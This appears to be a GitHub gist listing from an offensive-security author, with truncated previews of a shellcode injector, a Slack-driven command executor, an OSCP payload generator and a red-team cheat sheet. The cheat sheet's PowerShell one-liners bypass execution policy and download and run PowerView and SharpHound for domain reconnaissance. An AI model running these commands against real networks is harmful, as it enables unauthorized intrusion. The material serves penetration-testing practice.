Skip to content

Instantly share code, notes, and snippets.

# Author: @m8sec
# Description: Injects shellcode into the current process.
import sys
import ctypes
import hashlib
from time import sleep
import ctypes.wintypes as wt
from base64 import b64decode
from Crypto.Cipher import AES
@m8sec
m8sec / slackexec.py
Last active July 26, 2022 02:15
Python script to monitor a Slack channel and automate task execution.
#!/usr/bin/env python3
# Author: @m8sec
import os
import threading
from sys import exit
from time import sleep
from datetime import datetime
from subprocess import getoutput
from taser.proto.http import web_request
#!/usr/bin/env bash
# Script to quickly and easily create non-meterpreter payloads for the OSCP
# @m8sec
# Note: It is recommeneded to create a new directory before running this
# script. All payloads will be placed in the current directory
IP="127.0.0.1" # <YOUR IP HERE>
PORT=443 # You may have to change this if there are outbound restrictions on the target ;)
@m8sec
m8sec / RedTeam_CheatSheet.ps1
Last active February 24, 2024 16:36
Red Team CheatSheet
# Domain Recon
## ShareFinder - Look for shares on network and check access under current user context & Log to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt"
## Import PowerView Module
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')"
## Invoke-BloodHound for domain recon
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"
#!/usr/bin/env bash
# Author: m8r0wn
# Description: Uses the Linux net commands to lookup a user in Active Directory
# This is the Linux equivalent of: net user [Username] /domain
# Usage: ./aduser_lookup.sh [username] [password] [DC-Server] [Lookup-User]
if [ ! $1 ];
then
printf "[-] Usage: $0 Username Password DC_Server username_to_lookup\n"
@m8sec
m8sec / pastebin_api.py
Last active December 27, 2023 21:19
Python class to interact with the Pastebin API
#!/usr/bin/env python2.7
# Author: m8r0wn
# Description: Python class to interact with Pastebin API
import urllib2
import urllib
class paste_it():
#Class Variables